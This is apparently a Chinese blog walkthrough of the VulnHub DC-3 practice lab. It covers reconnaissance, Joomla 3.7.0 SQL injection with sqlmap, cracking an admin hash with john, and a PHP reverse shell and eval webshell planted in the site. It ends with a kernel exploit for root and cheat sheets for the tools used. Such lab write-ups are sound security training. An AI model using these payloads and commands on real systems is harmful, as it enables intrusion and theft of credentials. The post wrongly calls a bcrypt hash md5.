返回顶部

3.vulnhub渗透测试综合靶场DC-3

信息收集

nmap扫描:nmap -sP 192.168.200.0/24
扫描到了192.168.200.147地址

arp-scan -l扫描

通过浏览器Wappalyzer插件,可以看到,本站内容管理系统(CMS)Joomla,编程语言为PHP,Ubantu操作系统,,Web服务器Apache HTTPServer2.4.18

扫描DC-3靶机开启的服务

nmap -A -v 192.168.200.147
通过扫描可以发现DC-3开启了80端口 并且使用了Joomla! cms

扫描目录

使用御剑工具扫描

http://192.168.200.147/tmp/

http://192.168.200.147/administrator/

http://192.168.200.147/images/

http://192.168.200.147/includes;

http://192.168.200.147/images

使用dirb扫描到了后台地址

渗透测试

我们已知本web框架为joomla

在kali机器上安装joomscan工具

apt install joomscan

开启扫描后发现版本号为Joomla 3.7.0

└─# joomscan -u http://192.168.200.147

查看版本漏洞
└─# searchsploit Joomla 3.7.0

└─# find / -name 42033.txt
└─# cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

方法一:使用sql注入进行攻击

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

查询库名

sqlmap -u "http://192.168.200.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

这里我们发现5个数据库

进一步查询表名

sqlmap -u "http://192.168.200.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb  --tables  -p list[fullordering]

看到有users表

查询列名

sqlmap -u "http://192.168.200.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  --risk=3 --level=5 --random-agent -D joomladb  -T "#__users" --columns   -p list[fullordering]

查询字段信息

sqlmap -u "http://192.168.200.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  --risk=3 --level=5 --random-agent -D joomladb  -T "#__users" -C "name,password,username" --dump   -p list[fullordering]

看到密码用到了md5加密

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

使用kali内的john进行解密操作

创建123.txt文件,将秘钥放进去,进行解密操作,看到密码为snoopy

配置vim右键不能粘贴文本

编辑 ~/.vimrc 文件,加入如下代码:

if has('mouse')
set mouse-=a
endif

成功登录后台

获取shell权限

在index.php文件添加代码进行反弹shell

$sock = fsockopen("192.168.200.145", "5555");


$descriptorspec = array(


        0 => $sock,


        1 => $sock,


        2 => $sock


);


$process = proc_open('/bin/sh', $descriptorspec, $pipes);


proc_close($process);

浏览器访问

成功反弹shell

使用python交互式页面

python -c "import pty;pty.spawn('/bin/bash')"

切换root用户,发现权限不足,接下来开始做提权操作

方法二:攻击机下载 joomblah.py 脚本获取秘钥

wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py

└─# python2 joomblah.py http://192.168.200.147

发现秘钥:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

利用john工具破解md5秘钥

登录系统后,随便找个文件,写入一句话木马

<?php @eval ($_POST[cmd]);?>

使用蚁剑成功连接

使用原本的SUID提权失败,考虑系统漏洞提权

查看系统版本

cat /etc/*release
为Ubuntu 16.04 LTS

查看linux内核版本

cat /proc/version
为Linux version 4.4.0-21

查看kali本地漏洞库里面的exp

└─# searchsploit Ubuntu 16.04

下载Exploit-DB Mirror:

开启apache

└─# systemctl start apache2.service

将39772.zip上传到kali机器/var/www/html目录下

在靶机下载

www-data@DC-3:/var/www/html$ wget http://192.168.200.145/39772.zip

解压exp

重命名doubleput.c为doubleput

执行命令

./compile.sh

./doubleput

成功拿到root权限

本次渗透测试学习收获

kali安装docker

配置apt源,随便选一个
vim /etc/apt/sources.list

#中科大

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

#阿里云

deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

#清华大学

#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

#浙大

#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free

#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free

#东软大学

#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contribp.kali.org/kali kali-rolling main non-free contrib

#重庆大学

#deb http://http.kali.org/kali kali-rolling main non-free contrib

#deb-src http://http.kali.org/kali kali-rolling main non-free contrib

进行系统或工具的更新

apt-get update && apt-get upgrade && apt-get dist-upgrade

清除更新缓存

apt-get clean

采用apt安装Docker

apt-get install docker.io

#启动docker服务

service docker start

#列出docker现有镜像

docker images

配置阿里云镜像加速(官方教程)

配置镜像加速器_容器镜像服务(ACR)-阿里云帮助中心

nmap,arp-scan主机扫描

arp-scan -l

cms漏洞扫描工具

git clone https://github.com/iceyhexman/onlinetools.git

cd onlinetools

pip3 install -r requirements.txt

nohup python3 main.py &

使用docker部署

git clone https://github.com/iceyhexman/onlinetools.git

cd onlinetools

docker build -t onlinetools .

docker run -d -p 8000:8000 onlinetools

sql注入漏洞sqlmap配合payload

1、检测「注入点」

sqlmap -u 'http://xx/?id=1'

2、查看所有「数据库」

sqlmap -u 'http://xx/?id=1' --dbs

3、查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

4、查看「数据表」

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

5、查看「字段」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

6、查看「数据」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

敏感目录爆破

御剑、dirb目录扫描工具

基本的扫描:dirb http://xxx.xxx.xxx

列举具有特定扩展名列表的目录:dirb http://xxx.xxx.xxx -X .php

将输出保存到磁盘:dirb http://xxx.xxx.xxx -o output.txt

忽略不必要的状态码:dirb http://xxx.xxx.xxx -N 302

php反弹shell的编写

<?php @eval ($_POST[cmd]);?>

系统漏洞提权

SUID提权行不通的话,换做系统提权

查看系统版本

cat /etc/*release

查看linux内核版本

cat /proc/version

查看kali本地漏洞库里面的exp

searchsploit Ubuntu 16.04

hash密文利用kali内的john工具解密

vi password.txt #编辑将密钥写进去

john password.txt #破解

john --show password.txt #查看以前破解过的结果

joomscan

在kali机器上安装joomscan工具

apt install joomscan

开启扫描

joomscan -u http://xxx.xxx.xxx

posted @ 2024-11-20 10:01  IT-sec  阅读(67)  评论(0)    收藏  举报  来源